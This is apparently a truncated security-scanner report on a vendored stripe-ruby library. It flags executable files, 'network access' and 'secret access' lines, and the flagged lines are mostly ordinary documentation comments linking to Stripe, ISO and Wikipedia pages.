    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product.
  • Network accessline 75
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 90
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 113
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 128
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 149
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 168
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 225
    # The Treasury [DebitReversal](https://docs.stripe.com/api/treasury/debit_reversals) representing this Issuing dispute
  • Network accessline 227
    # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) that is being disputed.
  • Network accessline 238
    # Disputed amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Usually the amount of the `transaction`, but can differ (usually because of currency fluctuation).
  • Network accessline 254
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 262
    # [Treasury](https://docs.stripe.com/api/treasury) details related to this dispute if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts
  • Network accessline 265
    # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. Refer to [Dispute reasons and evidence](htt
  • Network accessline 285
    # Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d
  • Network accessline 295
    # Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/personalization_design.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 77
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/physical_bundle.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/token.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # An issuing token object is created when an issued card is added to a digital wallet. As a [card issuer](https://docs.stripe.com/issuing), you can [view and manage these tokens](https://docs.stripe.com/issuing/controls/token-management) th

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/transaction.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Any use of an [issued card](https://docs.stripe.com/issuing) that results in funds entering or leaving
  • Network accessline 8
    # `Transaction` object.     #     # Related guide: [Issued card transactions](https://docs.stripe.com/issuing/purchases/transactions)
  • Network accessline 10
    # Related guide: [Issued card transactions](https://docs.stripe.com/issuing/purchases/transactions)
  • Network accessline 36
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 229
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 311
    # The Treasury [ReceivedCredit](https://docs.stripe.com/api/treasury/received_credits) representing this Issuing transaction if it is a refund
  • Network accessline 313
    # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) representing this Issuing transaction if it is a capture
  • Network accessline 324
    # The transaction amount, which will be reflected in your balance. This amount is in your currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 326
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 330
    # ID of the [balance transaction](https://docs.stripe.com/api/balance_transactions) associated with this transaction.
  • Network accessline 338
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 346
    # The amount that the merchant will receive, denominated in `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). It will be different from `amount` if the merchant is taking payment in a 
  • Network accessline 352
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 360
    # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this transaction. If a network token was not used for this transaction, this field will be null.
  • Network accessline 362
    # [Treasury](https://docs.stripe.com/api/treasury) details related to this transaction if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/line_item.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 15
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 16
    # It contains information about when the discount began, when it will end, and what it is applied to.       #       # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 18
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 58
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 66
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/login_link.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Login Links are single-use URLs that takes an Express account to the login page for their Stripe dashboard.   # A Login Link differs from an [Account Link](https://docs.stripe.com/api/account_links) in that it takes the user directly to t
  • Network accessline 6
    # A Login Link differs from an [Account Link](https://docs.stripe.com/api/account_links) in that it takes the user directly to their [Express dashboard for the specified account](https://docs.stripe.com/connect/integrate-express-dashboard#c

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/mandate.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_attempt_record.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 20
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 33
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 35
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 48
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 50
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 63
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 65
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 78
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 80
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 93
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 95
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 108
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 110
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 210
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 212
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 424
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 432
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 731
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 735
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 757
    # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre
  • Network accessline 975
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1293
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1295
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1502
    # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma
  • Network accessline 1624
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1626
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1763
    # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types.
  • Network accessline 1878
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1886
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1940
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_intent.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    #   # A PaymentIntent transitions through   # [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle)
  • Network accessline 10
    # A PaymentIntent transitions through   # [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle)   # throughout its lifetime as it interfaces with Stripe.js to perform
  • Network accessline 11
    # [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle)
  • Network accessline 13
    # authentication flows and ultimately creates at most one successful charge.   #   # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 15
    # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 32
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 49
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 75
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 98
    # Controls whether this PaymentIntent will accept redirect-based payment methods.       #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional s
  • Network accessline 100
    # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentIntent, you 
  • Network accessline 117
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 152
    # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one.
  • Network accessline 156
    # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 158
    # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.
  • Network accessline 160
    # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 178
    # authentication flows and ultimately creates at most one successful charge.       #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 180
    # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 182
    # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 183
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 184
    # Customer objects to store instrument details for future payments.       #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme
  • Network accessline 186
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 192
    # A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments.       # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect
  • Network accessline 193
    # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment.       # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.       
  • Network accessline 194
    # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.
  • Network accessline 196
    # Create a SetupIntent when you're ready to collect your customer's payment credentials.       # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [stat
  • Network accessline 197
    # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides       # you throug
  • Network accessline 198
    # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides
  • Network accessline 200
    #       # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr
  • Network accessline 201
    # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through    
  • Network accessline 202
    # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 203
    # [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection
  • Network accessline 204
    # to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents).
  • Network accessline 205
    # If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer),
  • Network accessline 206
    # it automatically attaches the resulting payment method to that Customer after successful setup.       # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on       # Pa
  • Network accessline 207
    # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on
  • Network accessline 210
    # By using SetupIntents, you can reduce friction for your customers, even as regulations change over time.       #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 212
    # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 321
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 329
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 344
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 352
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 394
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 402
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 417
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 425
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 444
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 465
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 473
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 488
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 496
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 534
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 542
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 557
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 565
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 605
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 613
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 628
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 636
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 678
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 686
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 701
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 709
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 784
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1580
    # Installment details for this payment.         #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1582
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1588
    # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.
  • Network accessline 1590
    # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent.
  • Network accessline 1592
    # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent.
  • Network accessline 1594
    # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.
  • Network accessline 1596
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1637
    # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)
  • Network accessline 1639
    # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe.
  • Network accessline 2747
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2755
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2787
    # The amount transferred to the destination account. This transfer will occur automatically after the payment succeeds. If no amount is specified, by default the entire payment amount is transferred to the destination account.       #  The 
  • Network accessline 2788
    #  The amount must be less than or equal to the [amount](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-amount), and must be a positive integer
  • Network accessline 2802
    # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥
  • Network accessline 2812
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 2814
    # Settings to configure compatible payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods)
  • Network accessline 2824
    # The client secret can be used to complete a payment from your frontend. It should not be stored, logged, or exposed to anyone other than the customer. Make sure that you have TLS enabled on any page that includes the client secret.     # 
  • Network accessline 2826
    [Credential-related source omitted]
  • Access to secretsline 2826
    [Credential-related source omitted]
  • Access to secretsline 2827
    [Credential-related source omitted]
  • Network accessline 2832
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2836
    # Payment methods attached to other Customers cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not
  • Network accessline 2838
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be
  • Network accessline 2842
    # Payment methods attached to other Accounts cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not 
  • Network accessline 2844
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee
  • Network accessline 2856
    # ID of the latest [Charge object](https://docs.stripe.com/api/charges) created by this PaymentIntent. This property is `null` until PaymentIntent confirmation is attempted.
  • Network accessline 2860
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Learn more about [storing information in metad
  • Network accessline 2873
    # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this PaymentIntent.
  • Network accessline 2877
    # The list of payment method types (e.g. card) that this PaymentIntent is allowed to use. A comprehensive list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type).
  • Network accessline 2883
    # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails).
  • Network accessline 2899
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 2901
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 2903
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 2905
    # Status of this PaymentIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `requires_capture`, `canceled`, or `succeeded`. Read more about each PaymentIntent [status](https://docs.stripe.com/
  • Network accessline 2907
    # The data that automatically creates a Transfer after the payment finalizes. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 2909
    # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers).
  • Network accessline 2932
    # You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing.
  • Network accessline 2934
    # After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re
  • Network accessline 2936
    # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead.
  • Network accessline 2946
    # You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing.
  • Network accessline 2948
    # After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re
  • Network accessline 2950
    # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead.
  • Network accessline 2962
    # Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation.     #     # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 2964
    # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 2976
    # Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation.     #     # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 2978
    # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 2999
    #     # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 3000
    # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)     # and the PaymentIntent's [client_secret](https://docs.stripe
  • Network accessline 3001
    # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 3002
    [Credential-related source omitted]
  • Access to secretsline 3002
    [Credential-related source omitted]
  • Network accessline 3038
    #     # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 3039
    # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)     # and the PaymentIntent's [client_secret](https://docs.stripe
  • Network accessline 3040
    # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 3041
    [Credential-related source omitted]
  • Access to secretsline 3041
    [Credential-related source omitted]
  • Network accessline 3066
    # Creates a PaymentIntent object.     #     # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 3067
    #     # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)     # to continue the payment. Learn more about <a href="/docs/payments/payment-intents">the availab
  • Network accessline 3068
    # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 3072
    # When you use confirm=true during creation, it's equivalent to creating     # and confirming the PaymentIntent in the same call. You can use any parameters     # available in the [confirm API](https://docs.stripe.com/docs/api/payment_inten
  • Network accessline 3073
    # and confirming the PaymentIntent in the same call. You can use any parameters     # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply     # confirm=true.
  • Network accessline 3074
    # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply
  • Network accessline 3080
    # Perform an incremental authorization on an eligible     # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 3081
    # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 3082
    # PaymentIntent's status must be requires_capture and     # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)     # m
  • Network accessline 3083
    # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)
  • Network accessline 3092
    # If the incremental authorization succeeds, the PaymentIntent object     # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 3093
    # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).     # If the incremental authorization fails, a
  • Network accessline 3094
    # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 3095
